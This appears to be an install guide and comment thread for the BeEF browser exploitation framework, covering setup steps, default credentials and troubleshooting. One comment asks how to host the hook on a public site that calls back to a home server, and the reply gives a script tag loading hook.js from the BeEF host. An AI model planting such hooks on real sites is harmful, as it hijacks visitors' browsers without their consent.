Detailed platform specific guides
- Backtrack 5 Install and script
- Windows Install
General Install Steps
To Install BeEF (the version currently under development) and run:
- Install Ruby (also requires Ruby development headers. i.e. sudo apt-get install ruby1.8-dev)
- Install sqlite (On linux this MUST be done before running install.rb)
- Sqlite support in native in MacOS 10.6+, otherwise install Xcode
- On linux you will need to find the package specific to your distribution. An example for Ubuntu systems is: sudo apt-get install libsqlite3-dev sqlite3 sqlite3-doc
- On windows grab the zip file below and extract it to your Ruby bin directory: http://www.sqlite.org/sqlitedll-3_6_23_1.zip
- Download BeEF from the svn (svn checkout http://beef.googlecode.com/svn/trunk/ beef-read-only)
- Run 'ruby install'. On OS X you may need to install XCode anyway, since some "dm-" gems require ruby.h in order to build native extensions.
- Run 'ruby beef'
- Point a web browser at the IP and port stated
Whats the default user/pass????? My system pass does not work
beef / beef
you can change the default credentials to access the admin UI by editing the file $BeEF_root/extensions/admin_ui/config.yaml
Did the RBeEF release move? It doesn't seem to at the location anymore, At least I can't see it.
The RBeEF branch moved to the trunk a while ago. Updated to docco to show this.
thanks Scotty, ended up finding it with help from #beefproject. Thanks!
hi everyone i get this error when installing beef :
gem install json do_sqlite3 sqlite3 dm-sqlite-adapter Building native extensions. This could take a while... ERROR: Error installing json:
/usr/bin/ruby1.8 extconf.rb extconf.rb:1:in `require': no such file to load -- mkmf (LoadError?)
Gem files will remain installed in /var/lib/gems/1.8/gems/json-1.5.1 for inspection. Results logged to /var/lib/gems/1.8/gems/json-1.5.1/ext/json/ext/generator/gem_make.out
All other gems installed successfully except json ..any help
Hi Tnx,
On Debian based machines, install the ruby-dev package first - so that you have all the required libs to build native extensions:
sudo apt-get install ruby-dev
Then try and run the installer again.
If you still have issues, please email the dev-list (beef-dev@bindshell.net) or hit us up on irc.
hi scotty.. thanx for ur help i finally got this working.. thanx again
Hey guys, great work so far, I'm really enjoying it. Question:
beef says it detects 2 network interfaces and seems to start running on both of them. Is this a bug or is it intentional?
[12:32:40][] 2 network interfaces were detected. [12:32:40][+] running on network interface: 127.0.1.1 [12:32:40] | Hook URL: http://127.0.1.1:3000/hook.js [12:32:40] | UI URL: http://127.0.1.1:3000/ui/panel [12:32:40][+] running on network interface: 127.0.0.1 [12:32:40] | Hook URL: http://127.0.0.1:3000/hook.js [12:32:40] | UI URL: http://127.0.0.1:3000/ui/panel [12:32:40][+] HTTP Proxy: http://127.0.0.1:6789
By default BeEF binds to all the available network interfaces, is not a bug.
Hi at all, I've installed beef like it says in the guide, but when I start beef with ruby beef it says: <internal:lib/rubygems/custom_require>:29:in `require': no such file to load -- dm-core (LoadError?)
What does this mean? Thx for your help :)
Can you please post your questions to the mailing list:
beef-dev@bindshell.net
has anyone tried to set up a beef server on something like heroku or dotcloud?
I get this error: /usr/bin/env: ruby: No existe el fichero o el directorio (Neither directory or file found) when running ./install I'm using ubuntu 11 Installed ruby-dev first and then sqlite3
I have beef working perfect. Running Ubuntu 11.04 and BeeF with metasploit and have tested it thoughly internally and externally. Now I want to looking at moving the hook.js syntax like in the default basic.html
<script>
And move this to a publicly hosted wesbite. What I want to know what is the best method in this coding to point back to my ruby/beef installation ie user goes to www.public.com and the script is run on the client that reconnects back to my localbeef server (at home) not back to the public one. Now before you ask the public server is my hosted servere protected by username/password so its not public persay but Im interested in before I butcher the beef, whats the preffered process in seperating beef/ruby/demo to publicdemo and beef/ruby on another box.
Hi there,
you have 2 options:
<script src="http://192.168.10.1/hook.js" type="text/javascript"></script>
your BeEF server doing illegal things, please remember that ;)
Anyway, for running BeEF in "production", I suggest you using MySQL or PostgresSQL. Don't use sqlite cause it can become unstable with high amount of requests.
Cheers Michele
Hi, did someone install on archlinux? or tryed?
Hi~ I want to install beEF on my windows OS. However when i export the file from http://beef.googlecode.com/svn/trunk/ to my directory, it shows error below: REPORT of '/svn/!svn/vcc/default': Could not parse chunk size (http://beef.googlecode.com)
How to solve this error?
regards, Francis
Is there any way to run Beef in cygwin? It gives an error with the gems. --- install:19:in `require': no such file to load -- rubygems (LoadError?) from install:19 --- I'll just use the windows version for now
i get on debian alway this error: /usr/local/lib/site_ruby/1.9.1/rubygems/custom_require.rb:36:in `require': no such file to load -- thin (LoadError?)
help please
hi i'm running black ubuntu trying to get beEF install but i'm stock at this error
Welcome to the BeEF installer!
Ruby version 1.8.7 is no longer supported. Please upgrade 1.9 or later.
Hi,I an running BeEF,it needs usename and password,what's these?